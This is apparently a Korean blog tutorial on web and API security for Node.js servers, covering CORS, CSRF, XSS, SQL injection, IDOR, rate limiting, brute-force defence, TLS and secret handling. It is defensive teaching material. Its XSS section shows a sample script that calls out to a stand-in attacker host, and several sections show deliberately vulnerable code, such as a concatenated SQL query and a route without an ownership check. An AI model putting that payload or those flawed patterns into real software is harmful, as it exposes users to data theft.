웹 및 API 보안 #CORS, CSRF, XSS, SQL Injection부터 인증·권한 검증까지

웹 애플리케이션과 API 서버는 외부 클라이언트의 요청을 받아 데이터를 처리한다. 이 과정에서 입력값을 검증하지 않거나, 사용자의 권한을 확인하지 않거나, 민감한 정보를 잘못 관리하면 데이터 유출과 계정 탈취 같은 보안 문제가 발생할 수 있다.

웹 및 API 보안의 핵심은 단순히 악성 요청을 차단하는 것이 아니다. 신뢰할 수 없는 입력을 안전하게 처리하고, 요청자의 신원을 확인하며, 허용된 작업만 수행하도록 시스템을 설계하는 것이다.

이 글에서는 실무 백엔드 개발에 필요한 주요 보안 개념과 Node.js 기반 API 서버에서 적용할 수 있는 방어 방법을 정리한다.


CORS와 CSRF

CORS란?

CORS(Cross-Origin Resource Sharing)는 브라우저가 서로 다른 출처(Origin) 간의 리소스 요청을 허용할지 판단할 수 있도록 하는 보안 메커니즘이다.

Origin은 다음 세 요소로 구성된다.

  • 프로토콜: http, https
  • 호스트: example.com
  • 포트: 3000, 8080

예를 들어 다음 두 주소는 서로 다른 Origin이다.

https://frontend.example.com
https://api.example.com

호스트가 다르기 때문이다.

브라우저는 기본적으로 다른 Origin의 응답을 JavaScript가 자유롭게 읽지 못하도록 제한한다. 서버가 적절한 CORS 응답 헤더를 반환하면 브라우저는 해당 요청의 응답을 읽도록 허용할 수 있다.

CORS 동작 방식

브라우저에서 다음 요청을 보낸다고 가정하자.

GET /api/users HTTP/1.1
Host: api.example.com
Origin: https://frontend.example.com

서버가 다음 응답을 반환한다.

HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://frontend.example.com
Content-Type: application/json

이 경우 브라우저는 지정된 Origin의 JavaScript가 응답을 읽도록 허용한다.

반대로 허용되지 않은 Origin이라면 브라우저는 응답을 JavaScript에 노출하지 않는다.

다만 CORS는 서버에 대한 접근 자체를 차단하는 인증·인가 시스템이 아니다. 브라우저가 응답을 읽는 것을 제한하는 정책이다. 다른 서버나 직접 작성한 HTTP 클라이언트는 CORS 정책의 적용 대상이 아니므로, API 서버 자체의 인증과 권한 검증은 별도로 필요하다.

Preflight 요청

일부 교차 출처 요청은 실제 요청을 보내기 전에 OPTIONS 요청으로 허용 여부를 확인한다. 이를 Preflight 요청이라고 한다.

예를 들어 JSON 본문과 Authorization 헤더를 사용하는 요청은 일반적으로 Preflight 대상이다.

OPTIONS /api/users HTTP/1.1
Origin: https://frontend.example.com
Access-Control-Request-Method: POST
Access-Control-Request-Headers: authorization, content-type

서버는 허용할 Origin, HTTP 메서드, 헤더 등을 응답으로 반환한다.

HTTP/1.1 204 No Content
Access-Control-Allow-Origin: https://frontend.example.com
Access-Control-Allow-Methods: GET, POST, PATCH, DELETE
Access-Control-Allow-Headers: Authorization, Content-Type

Node.js에서 CORS 설정하기

Express에서는 cors 미들웨어를 사용할 수 있다.

import express from "express";
import cors from "cors";

const app = express();

const allowedOrigins = new Set([
  "https://frontend.example.com",
]);

app.use(
  cors({
    origin(origin, callback) {
      // 서버 간 요청 등 Origin이 없는 요청도 있을 수 있다.
      if (!origin) {
        return callback(null, true);
      }

      if (allowedOrigins.has(origin)) {
        return callback(null, origin);
      }

      return callback(new Error("Origin not allowed"));
    },

    methods: ["GET", "POST", "PATCH", "DELETE"],
    allowedHeaders: ["Content-Type", "Authorization"],
    credentials: true,
  }),
);

credentials: true는 쿠키 등의 자격 증명을 사용하는 교차 출처 요청에 필요할 수 있다. 이때 Access-Control-Allow-Origin: *를 사용할 수 없으며, 허용할 Origin을 명시해야 한다.

운영 환경에서는 허용 Origin을 명시적으로 관리하고, 단순한 문자열 포함 검사나 무분별한 정규식으로 허용 범위를 넓히지 않는 것이 좋다.

CSRF란?

CSRF(Cross-Site Request Forgery)는 공격자가 피해자의 브라우저를 이용해 피해자가 로그인한 웹사이트에 의도하지 않은 요청을 보내도록 유도하는 공격이다.

예를 들어 은행 웹사이트에 로그인한 사용자가 다른 악성 웹사이트를 방문했다고 가정하자.

브라우저가 은행 사이트의 인증 쿠키를 자동으로 전송하는 구조라면, 악성 페이지가 계좌 이체 요청을 유도할 가능성이 있다.

핵심 문제는 브라우저가 요청을 보낼 때 인증 정보까지 자동으로 첨부할 수 있다는 점이다.

CSRF 방어 방법

CSRF 토큰

서버가 예측하기 어려운 토큰을 발급하고, 상태 변경 요청에 해당 토큰을 포함하도록 한다.

POST /api/profile/email HTTP/1.1
Cookie: session=...
Content-Type: application/json
X-CSRF-Token: random-csrf-token

{
  "email": "new@example.com"
}

서버는 세션에 연결된 CSRF 토큰과 요청에 포함된 토큰을 비교한다.

SameSite 쿠키

쿠키의 SameSite 속성은 교차 사이트 요청에서 쿠키를 전송하는 범위를 제한한다.

Set-Cookie: session=abc123; HttpOnly; Secure; SameSite=Lax
  • Strict: 교차 사이트 요청에서 쿠키 전송을 강하게 제한한다.
  • Lax: 일부 최상위 탐색은 허용하면서 일반적인 교차 사이트 요청의 쿠키 전송을 제한한다.
  • None: 교차 사이트 전송을 허용하며 Secure가 필요하다.

SameSite만으로 모든 CSRF 위험이 해결되는 것은 아니다. 서비스의 인증 방식과 요청 흐름에 따라 CSRF 토큰, Origin 검증 등을 함께 적용해야 한다.

특히 쿠키를 사용하지 않고 Authorization 헤더에 명시적으로 토큰을 넣는 구조는 전형적인 CSRF 위험이 상대적으로 낮다. 하지만 XSS나 토큰 탈취 같은 다른 위험까지 사라지는 것은 아니다.


XSS와 SQL Injection

XSS란?

XSS(Cross-Site Scripting)는 공격자가 주입한 스크립트가 다른 사용자의 브라우저에서 실행되는 취약점이다.

게시판에 다음 문자열이 저장되었다고 가정하자.

<script>
  fetch("https://attacker.example/collect");
</script>

애플리케이션이 이를 검증 없이 HTML로 출력하면 방문자의 브라우저에서 스크립트가 실행될 수 있다.

XSS가 발생하면 공격자는 사용자의 권한으로 페이지 내 작업을 수행하거나, 화면에 표시된 민감한 정보를 읽거나, 사용자를 피싱 페이지로 유도할 수 있다.

쿠키에 HttpOnly가 설정되어 있다면 JavaScript가 해당 쿠키 값을 직접 읽는 것은 제한된다. 그러나 XSS가 발생한 페이지에서 사용자의 권한으로 요청을 보내는 행위까지 완전히 차단하지는 못한다.

XSS의 주요 유형

Stored XSS

악성 스크립트가 데이터베이스 등에 저장되고, 해당 데이터를 조회하는 사용자에게 실행된다.

예를 들어 게시글 본문이나 닉네임을 검증 없이 HTML로 렌더링하는 경우다.

Reflected XSS

요청 파라미터 등에 포함된 공격 문자열이 서버 응답에 반영되고 실행된다.

DOM-based XSS

클라이언트 JavaScript가 URL이나 사용자 입력을 안전하지 않은 방식으로 DOM에 삽입하면서 발생한다.

XSS 방어 방법

가장 기본적인 원칙은 사용자 입력을 HTML로 직접 실행하지 않는 것이다.

React에서는 일반적인 문자열을 JSX로 출력하면 기본적으로 HTML 이스케이프가 적용된다.

function Profile({ nickname }: { nickname: string }) {
  return <div>{nickname}</div>;
}

반면 다음 코드는 주의해야 한다.

function Profile({ content }: { content: string }) {
  return (
    <div dangerouslySetInnerHTML={{ __html: content }} />
  );
}

dangerouslySetInnerHTML에 신뢰할 수 없는 문자열을 전달하면 XSS 취약점이 발생할 수 있다.

HTML 렌더링이 필요하다면 검증된 HTML Sanitizer를 사용해 허용된 태그와 속성만 남겨야 한다.

추가 방어 수단은 다음과 같다.

  • HTML, JavaScript, URL 등 출력 문맥에 맞는 인코딩 적용
  • CSP(Content Security Policy) 설정
  • 위험한 DOM API 사용 최소화
  • 사용자 입력을 HTML이나 JavaScript 코드로 직접 결합하지 않기

단순히 입력 문자열에서 <script>만 제거하는 방식은 불완전하다. 다양한 HTML 요소와 이벤트 속성, URL 스킴 등을 통한 우회가 가능하기 때문이다.

SQL Injection이란?

SQL Injection은 외부 입력값이 SQL 구문의 일부로 해석되도록 만들어 쿼리의 의미를 변조하는 공격이다.

예를 들어 다음과 같은 코드가 있다고 가정하자.

const sql = `
  SELECT *
  FROM users
  WHERE email = '${email}'
`;

공격자가 email에 SQL 구문을 삽입하면 원래 의도와 다른 쿼리가 만들어질 수 있다.

문제의 본질은 입력값과 실행할 SQL 구문을 문자열 연결로 결합한다는 것이다.

SQL Injection 방어 방법

**Parameterized Query(매개변수화 쿼리)**를 사용한다.

const [rows] = await pool.execute(
  "SELECT id, email FROM users WHERE email = ?",
  [email],
);

여기서 ?는 입력값이 들어갈 자리를 나타낸다. 데이터베이스 드라이버는 값과 SQL 구문을 구분해 처리한다.

따라서 입력값에 SQL 문법이 포함되어 있더라도 일반적으로 SQL 명령으로 실행되지 않는다.

ORM을 사용하더라도 raw query를 직접 작성하는 부분에서는 같은 원칙을 적용해야 한다.

또한 다음 방어책을 함께 적용한다.

  • DB 계정에 필요한 최소 권한만 부여
  • 입력값의 타입과 길이 검증
  • 테이블명이나 정렬 컬럼 등 파라미터로 바인딩할 수 없는 SQL 식별자는 허용 목록으로 제한
  • 데이터베이스 오류 메시지를 외부에 그대로 노출하지 않기

입력값 검증만으로 SQL Injection을 방어하려 하지 말고, 쿼리와 데이터의 구조적 분리를 우선해야 한다.


IDOR와 권한 검증

IDOR란?

IDOR(Insecure Direct Object Reference)는 사용자가 객체의 식별자를 변경하는 방식으로 자신에게 권한이 없는 데이터에 접근할 수 있는 취약점이다.

예를 들어 API가 다음과 같이 동작한다고 가정하자.

GET /api/users/1001

로그인한 사용자가 1001번 사용자라고 해도, 다음과 같이 ID를 변경해 요청할 수 있다.

GET /api/users/1002

서버가 로그인 여부만 확인하고 대상 사용자가 요청자에게 속한 데이터인지 확인하지 않으면 다른 사람의 정보가 노출될 수 있다.

UUID처럼 추측하기 어려운 식별자를 사용하더라도 권한 검증을 생략해서는 안 된다. 식별자는 접근 권한을 보장하지 않는다.

잘못된 권한 검증

app.get("/api/users/:id", async (req, res) => {
  const user = await userRepository.findById(req.params.id);

  if (!user) {
    return res.status(404).json({
      error: "USER_NOT_FOUND",
    });
  }

  return res.json(user);
});

이 코드는 사용자가 존재하는지만 확인한다. 인증 미들웨어가 있더라도 요청자가 해당 사용자의 정보를 조회할 권한이 있는지 별도로 확인하지 않으면 취약하다.

권한을 검증하는 방법

app.get("/api/users/:id", authenticate, async (req, res) => {
  const requestedUserId = req.params.id;
  const authenticatedUserId = req.user.id;

  if (requestedUserId !== authenticatedUserId) {
    return res.status(403).json({
      error: "FORBIDDEN",
    });
  }

  const user = await userRepository.findById(requestedUserId);

  if (!user) {
    return res.status(404).json({
      error: "USER_NOT_FOUND",
    });
  }

  return res.json(user);
});

위 코드는 일반 사용자가 자기 정보만 조회할 수 있는 단순한 예제다. authenticate 미들웨어는 인증된 사용자 정보를 req.user에 안전하게 설정한다고 가정한다.

관리자, 팀원, 조직별 접근이 필요한 서비스에서는 단순한 ID 비교 대신 정책에 맞는 권한 검증이 필요하다.

가능하다면 데이터 조회 단계에서 접근 범위를 제한하는 것도 좋다.

const document = await documentRepository.findAccessibleById({
  documentId: req.params.id,
  userId: req.user.id,
});

이 방식은 애플리케이션이 권한을 확인하지 않은 객체를 무심코 반환하는 위험을 줄인다.

인증과 인가는 다르다

  • 인증(Authentication): 요청자가 누구인지 확인한다.
  • 인가(Authorization): 요청자가 특정 작업을 수행할 수 있는지 확인한다.

유효한 JWT를 가지고 있다는 사실은 사용자의 신원이 확인되었다는 의미일 뿐, 모든 API에 접근할 권한이 있다는 뜻은 아니다.

실무에서는 모든 데이터 조회·수정·삭제 요청에서 대상 객체에 대한 권한을 확인해야 한다.


Rate Limiting

Rate Limiting이란?

Rate Limiting은 일정 시간 동안 허용하는 요청 횟수를 제한하는 기술이다.

API 서버가 요청을 무제한으로 처리하면 공격자는 대량의 요청을 보내 CPU, 메모리, DB 연결, 외부 API 호출량 등을 소모시킬 수 있다.

Rate Limiting은 이러한 남용을 제한하고 서비스의 가용성을 보호하는 데 사용된다.

예를 들어 다음과 같은 정책을 설정할 수 있다.

일반 API: IP당 1분에 100회
로그인 API: IP당 1분에 10회
인증 코드 발송 API: 계정당 1시간에 5회

위 수치는 설명을 위한 예시다. 실제 제한값은 서비스의 정상 트래픽, 사용자 경험, 공격 위험에 따라 결정해야 한다.

Express에서 Rate Limiting 적용하기

import rateLimit from "express-rate-limit";

const loginLimiter = rateLimit({
  windowMs: 60 * 1000,
  limit: 10,
  standardHeaders: "draft-8",
  legacyHeaders: false,
  message: {
    error: "RATE_LIMIT_EXCEEDED",
    message: "요청 횟수를 초과했습니다.",
  },
});

app.post("/api/auth/login", loginLimiter, loginHandler);

이 예제는 로그인 엔드포인트에 요청 제한을 적용한다. 사용하는 라이브러리 버전에 따라 옵션과 반환되는 헤더의 형식은 확인해야 한다.

분산 서버에서의 고려 사항

단일 서버에서는 메모리에 요청 횟수를 저장할 수 있지만, 여러 서버를 운영하면 문제가 생긴다.

Client
  |
Load Balancer
  |
  +-- API Server A
  +-- API Server B
  +-- API Server C

각 서버가 독립적으로 요청 횟수를 저장하면 사용자는 서버마다 별도의 제한을 받는다.

예를 들어 서버 세 대가 각각 분당 100회를 허용한다면, 실제로는 총 300회까지 요청할 수 있다.

분산 환경에서는 Redis와 같은 공유 저장소를 이용하거나, API Gateway에서 공통 제한을 적용할 수 있다. 동시 요청이 많은 경우에는 원자적인 카운터 갱신과 적절한 만료 처리가 중요하다.

Rate Limiting 알고리즘

Fixed Window

정해진 시간 구간마다 요청 횟수를 계산한다. 구현이 간단하지만 구간 경계에서 순간적으로 많은 요청이 허용될 수 있다.

Sliding Window

최근 일정 시간 동안의 요청량을 계산한다. 고정 구간의 경계 문제를 완화하지만 구현 방식에 따라 저장 공간이나 계산 비용이 증가한다.

Token Bucket

토큰을 일정 속도로 충전하고, 요청마다 토큰을 소비한다. 일정 수준의 순간적인 요청 증가를 허용하면서 장기적인 요청률을 제한할 수 있다.

Leaky Bucket

요청을 일정한 속도로 처리하거나 대기열에서 흘려보내는 방식이다. 처리 속도를 일정하게 유지하는 데 적합하지만 대기열 크기와 지연 시간을 관리해야 한다.

Rate Limiting은 서비스 보호 수단이지, DDoS를 단독으로 해결하는 방법은 아니다. 대규모 공격에는 CDN, WAF, 로드 밸런서, 네트워크 계층의 방어도 필요하다.


Brute-force 방어

Brute-force 공격이란?

Brute-force 공격은 가능한 비밀번호나 인증 코드를 반복적으로 시도해 올바른 값을 찾아내려는 공격이다.

예를 들어 공격자가 다음과 같은 비밀번호를 순차적으로 시도할 수 있다.

password123
qwerty123
admin1234
...

비밀번호가 단순하거나 재사용되고 있다면 계정 탈취로 이어질 수 있다.

또한 공격자가 유출된 이메일·비밀번호 조합을 대량으로 시도하는 Credential Stuffing도 주요 위협이다.

방어 방법

로그인 요청 제한

IP 주소, 계정, 네트워크 특성 등을 조합해 요청 빈도를 제한한다. IP만 기준으로 삼으면 공격자가 IP를 바꾸어 우회할 수 있고, 계정만 기준으로 삼으면 특정 사용자를 잠가 서비스 거부를 유도할 수 있다.

점진적인 지연

실패가 반복될수록 다음 시도까지의 대기 시간을 늘릴 수 있다. 다만 공격자가 다른 사용자의 계정을 의도적으로 잠그거나 지연시키는 문제가 생기지 않도록 설계해야 한다.

MFA 적용

비밀번호 외에 추가 인증 요소를 요구하면 비밀번호가 유출되더라도 계정 탈취 위험을 줄일 수 있다. 특히 관리자 계정과 민감한 작업에는 강력한 다중 요소 인증을 고려해야 한다.

비밀번호 저장 보안

비밀번호는 평문으로 저장하면 안 된다. Argon2id, bcrypt 또는 적절하게 설정된 scrypt 같은 비밀번호 해싱 알고리즘을 사용해야 한다. 일반적인 SHA-256을 단독으로 사용해 비밀번호를 저장하는 것은 적절하지 않다.

로그인 실패 모니터링

짧은 시간에 반복되는 로그인 실패, 여러 계정에 대한 대량 시도, 비정상적인 위치나 장치에서의 접근을 감지하고 알림을 설정한다.

인증 오류 응답 주의

로그인 실패 시 다음과 같이 응답할 수 있다.

{
  "error": "INVALID_CREDENTIALS",
  "message": "이메일 또는 비밀번호가 올바르지 않습니다."
}

존재하지 않는 계정과 비밀번호가 틀린 계정을 서로 다른 메시지로 구분하면 공격자가 유효한 계정 목록을 수집할 수 있다. 일반적으로 외부 응답은 통일하고, 상세 원인은 내부 보안 로그에서 관리한다.


HTTPS와 TLS

HTTPS란?

HTTPS는 HTTP 통신을 TLS(Transport Layer Security)로 보호하는 방식이다.

일반 HTTP 통신에서는 네트워크 경로에서 트래픽을 관찰할 수 있는 공격자가 데이터 내용을 읽거나 변조할 위험이 있다.

HTTPS는 다음 세 가지 보안 속성을 제공한다.

  • 기밀성: 전송 중인 데이터를 암호화한다.
  • 무결성: 전송 중 데이터가 변조되었는지 검증한다.
  • 인증: 인증서를 통해 접속한 서버의 신원을 검증한다.

HTTPS를 사용하면 로그인 정보, 세션 쿠키, API 요청·응답 등 전송 데이터를 네트워크 공격으로부터 보호할 수 있다.

다만 HTTPS는 서버 내부의 취약점, SQL Injection, 잘못된 권한 검증을 해결하지 않는다. 애플리케이션 보안과 전송 계층 보안은 별도로 필요하다.

TLS 연결 과정

일반적인 TLS 연결에서는 클라이언트와 서버가 보안 연결을 협상한다.

개념적으로 다음과 같은 과정으로 이해할 수 있다.

  1. 클라이언트가 지원하는 TLS 버전과 암호화 옵션 등을 제안한다.
  2. 서버가 연결에 사용할 설정과 인증서를 제공한다.
  3. 클라이언트가 인증서의 신뢰 체인, 유효 기간, 호스트 이름 등을 검증한다.
  4. 양측이 세션 키를 안전하게 설정하고 암호화된 통신을 시작한다.

TLS 1.3에서는 키 교환 과정이 이전 버전보다 간소화되었다. 실제 핸드셰이크 세부 과정은 TLS 버전과 연결 설정에 따라 달라진다.

운영 환경에서의 HTTPS 적용

일반적으로 다음과 같은 구조를 사용할 수 있다.

Client
  |
 HTTPS / TLS
  |
Reverse Proxy (Nginx)
  |
 HTTP 또는 HTTPS
  |
Node.js API Server

외부 연결은 HTTPS로 보호하고, 프록시에서 TLS를 종료한 뒤 내부 API 서버로 요청을 전달하는 구조다.

내부 네트워크가 신뢰할 수 있는 환경인지, 프록시와 애플리케이션 사이의 트래픽에도 기밀성과 인증이 필요한지에 따라 내부 구간에도 TLS를 적용할 수 있다.

운영 시에는 다음 사항을 확인한다.

  • 인증서의 유효 기간과 자동 갱신
  • TLS 1.2 이상 사용 및 안전한 암호화 설정
  • HTTP에서 HTTPS로의 리다이렉트
  • HSTS 적용 여부
  • 인증서 검증을 비활성화하는 설정 금지
  • 프록시 뒤에서 실제 클라이언트 IP를 신뢰하는 범위 제한

HSTS(HTTP Strict Transport Security)는 브라우저가 해당 사이트에 HTTPS로 접속하도록 유도하는 응답 헤더다. 적용하기 전에는 모든 관련 하위 도메인의 HTTPS 지원 여부 등을 확인해야 한다.


비밀키 및 환경변수 관리

비밀정보란?

서버 애플리케이션이 외부 시스템과 통신하거나 인증을 처리하기 위해 사용하는 민감한 값이다.

대표적인 예시는 다음과 같다.

  • 데이터베이스 비밀번호
  • JWT 서명 키
  • Refresh Token 관련 암호화 키
  • Redis 인증 정보
  • 클라우드 API 키
  • 외부 결제 서비스의 비밀 키

이러한 정보가 Git 저장소, 공개 로그, 클라이언트 코드 등에 노출되면 공격자가 서버나 외부 서비스에 접근할 수 있다.

소스 코드에 비밀정보를 하드코딩하지 않기

잘못된 예시는 다음과 같다.

const JWT_SECRET = "my-secret-key";
const DB_PASSWORD = "password123";

소스 코드에 비밀정보를 작성하면 코드가 저장소에 올라가거나 빌드 산출물에 포함되는 순간 유출될 수 있다.

환경변수를 통해 외부에서 주입하도록 변경한다.

const jwtSecret = process.env.JWT_SECRET;
const databaseUrl = process.env.DATABASE_URL;

if (!jwtSecret) {
  throw new Error("JWT_SECRET is required");
}

if (!databaseUrl) {
  throw new Error("DATABASE_URL is required");
}

필수 설정이 없으면 애플리케이션 시작 단계에서 실패하도록 하면, 잘못된 보안 설정으로 서비스가 실행되는 것을 방지할 수 있다.

환경변수 설정 예시

개발 환경에서는 .env 파일을 사용할 수 있다.

JWT_SECRET=replace-with-a-long-random-secret
DATABASE_URL=mysql://app_user:password@localhost:3306/app

Node.js에서는 dotenv 등의 라이브러리로 환경변수를 불러올 수 있다.

import "dotenv/config";

이 파일에는 실제 비밀정보가 들어갈 수 있으므로 Git에 커밋하지 않는다.

.env
.env.*
!.env.example

!.env.example은 예제 파일을 허용하기 위한 설정이다. 실제 비밀값이 포함된 파일을 예제 파일로 복사해서 공개해서는 안 된다.

예제 파일에는 변수 이름과 설명용 플레이스홀더만 기록한다.

JWT_SECRET=
DATABASE_URL=

운영 환경의 비밀정보 관리

운영 환경에서는 환경변수만 사용하는 것보다 비밀정보 관리 시스템을 활용하는 것이 적합할 수 있다.

예를 들어 클라우드의 Secret Manager, Vault 계열 시스템, 컨테이너 오케스트레이션의 비밀정보 기능 등을 이용할 수 있다.

중요한 관리 원칙은 다음과 같다.

최소 권한

각 애플리케이션과 작업에 필요한 비밀정보만 제공한다. 모든 서버가 동일한 관리자 자격 증명을 공유하지 않도록 한다.

키 회전

비밀정보가 유출되었거나 정기적인 교체가 필요한 경우 새 키로 전환하고 기존 키를 폐기한다. JWT 서명 키를 교체할 때는 기존 토큰의 검증 정책과 키 식별자(kid) 운영 방식을 함께 설계해야 한다.

로그에서 민감정보 제거

비밀번호, Access Token, Refresh Token, API 키, 데이터베이스 연결 문자열 등을 로그에 그대로 남기지 않는다.

클라이언트에 비밀정보 포함 금지

브라우저에 전달되는 JavaScript, 모바일 앱 패키지, 공개 설정 파일에 서버 전용 비밀키를 포함하지 않는다. 프런트엔드의 환경변수는 빌드 과정에서 클라이언트 코드에 포함될 수 있으므로 비밀 저장소로 취급해서는 안 된다.

유출 시 폐기와 교체

이미 공개 저장소에 올라간 비밀정보는 커밋을 삭제하는 것만으로 해결되지 않는다. 복사본이 남아 있을 수 있으므로 해당 키를 폐기하거나 교체하고, 접근 로그를 조사해야 한다.


실무 API 보안 체크리스트

보안은 단일 미들웨어를 설치한다고 완성되지 않는다. 각 요청이 서버에 도달하고 데이터를 처리하는 전체 과정에서 방어 계층을 구성해야 한다.

  • CORS 허용 Origin을 명시적으로 제한했는가?
  • 쿠키 기반 인증에서 CSRF 방어를 고려했는가?
  • 사용자 입력을 안전하게 출력하고 XSS 위험을 줄였는가?
  • SQL 쿼리에 매개변수화 방식을 적용했는가?
  • 모든 데이터 조회·수정·삭제 요청에서 객체 권한을 검증하는가?
  • 로그인, 인증 코드 발송, 비밀번호 재설정 등에 요청 제한을 적용했는가?
  • Brute-force 및 Credential Stuffing 방어를 적용했는가?
  • 비밀번호를 적절한 전용 해싱 알고리즘으로 저장하는가?
  • 외부 통신에 HTTPS를 적용하고 인증서를 검증하는가?
  • 비밀정보를 소스 코드와 공개 클라이언트에 포함하지 않았는가?
  • 로그에 인증 정보와 비밀키가 기록되지 않는가?
  • 오류 응답에 내부 경로, SQL 구문, 스택 트레이스 등이 노출되지 않는가?

답글 남기기

이메일 주소는 공개되지 않습니다. 필수 필드는 *로 표시됩니다